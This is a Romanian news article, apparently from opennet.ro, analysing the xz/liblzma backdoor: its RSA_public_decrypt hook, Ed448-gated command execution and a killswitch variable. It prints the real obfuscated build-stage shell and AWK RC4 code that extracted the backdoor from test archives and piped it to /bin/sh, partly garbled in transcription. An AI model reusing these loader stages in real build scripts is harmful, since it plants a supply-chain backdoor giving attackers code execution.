Analiza logicei de activare și operare a backdoor-ului în pachetul xz

Rezultatele preliminare ale ingineriei inverse a fișierului obiect malițios integrat în liblzma au fost disponibile datorită unei campanii de promovare a unui backdoor în pachetul xz. Backdoorul afectează doar sistemele x86_64 bazate pe nucleul Linux și biblioteca C Glibc, în care sshd a fost supus unui patch suplimentar ce asigură legătura cu biblioteca libsystemd pentru a susține mecanismul sd_notify. Inițial, s-a presupus că backdoorul permite eludarea autentificării în sshd și obținerea accesului la sistem prin SSH. O analiză mai detaliată a arătat că acest lucru nu este corect, iar backdoorul oferă posibilitatea de a executa cod arbitrar în sistem, fără a lăsa urme în logurile sshd.

În special, funcția RSA_public_decrypt interceptată de backdoor verifică semnătura gazdelor folosind o cheie fixă Ed448, iar în cazul în care verificarea are succes, execută codul furnizat de o gazdă externă cu ajutorul funcției system() înainte de a revoca privilegile procesului sshd. Datele care conțin codul pentru execuție sunt extrase din parametru „N”, transmis în funcția RSA_public_decrypt (câmpul „n” din structura rsa_st, care conține cheia publică transmisă de gazda externă), sunt verificate prin sumă de control și sunt decriptate folosind o cheie predefinită ChaCha20 înainte de verificarea semnăturii digitale Ed448.

Ca semn al activării backdoorului în sshd este folosit mecanismul standard de schimb al cheilor gazdelor. Backdoorul profita de faptul că certificatele OpenSSH includ cheia publică a entității care a generat semnătura și reacționează doar la cheia pregătită de atacator, care corespunde unei chei fixe predefinite Ed448. Dacă verificarea semnăturii cu cheia publică eșuează sau dacă integritatea datelor pentru execuție nu este confirmată, backdoorul returnează controlul funcțiilor standard SSH.

Deoarece cheia privată a atacatorului este necunoscută, nu este posibilă implementarea unui cod de verificare care să permită activarea backdoorului de către terți și crearea unui scaner pentru gazdele compromise din rețea. Cercetătorii au pregătit un script care demonstrează tehnica de substituție a cheii publice cu un conținut arbitrar în certificatul OpenSSH transmis de clientul SSH, care va fi procesat în funcția RSA_public_decrypt interceptată de backdoor.

Cercetătorii au observat, de asemenea, o construcție care dezactivează un backdoor (killswitch) în sistemul local atunci când variabila de mediu «yolAbejyiejuvnup=Evjtgvsh5okmkAvj» este setată înainte de lansarea sshd.

De asemenea, se poate menționa analiza detaliată a construcțiilor shell utilizate pentru a complica procesul de extragere a fișierului obiect cu backdoor-ul și înlocuirea acestuia în biblioteca liblzma. În timpul construirii pachetului xz din scriptul build-to-host.m4, a fost lansat un cod care căuta în fișierele de test arhiva bad-3-corrupt_lzma2.xz, înlocuia unele simboluri, transforma arhiva într-una intactă și extrăgea din aceasta un script shell. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’ gl_path_map=’tr «\t \-_» » \t_\-‘

Scriptul shell obținut extrăgea din conținutul arhivei good-large_compressed.lzma un alt script shell, sărind peste anumite secvențe cu comenzile head și tail și înlocuind simbolurile cu comanda tr. ####Hello#### # câțiva biți binari aici, dar fiind un comentariu, sunt ignorați [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

Ca rezultat, s-a format un script shell destul de complex și voluminos, care extrage direct fișierul cu backdoor din arhiva good-large_compressed.lzma, îl decriptează și îl integrează în liblzma. Printre altele, scriptul includea o implementare a mecanismului de pluginuri, permițând ulterior livrarea de componente executabile suplimentare prin plasarea de noi arhive de test, fără a modifica good-large_compressed.lzma și bad-3-corrupt_lzma2.xz, ci utilizând căutarea după semnătură. În cod a fost folosit și un decriptor bazat pe algoritmul RC4, implementat în AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster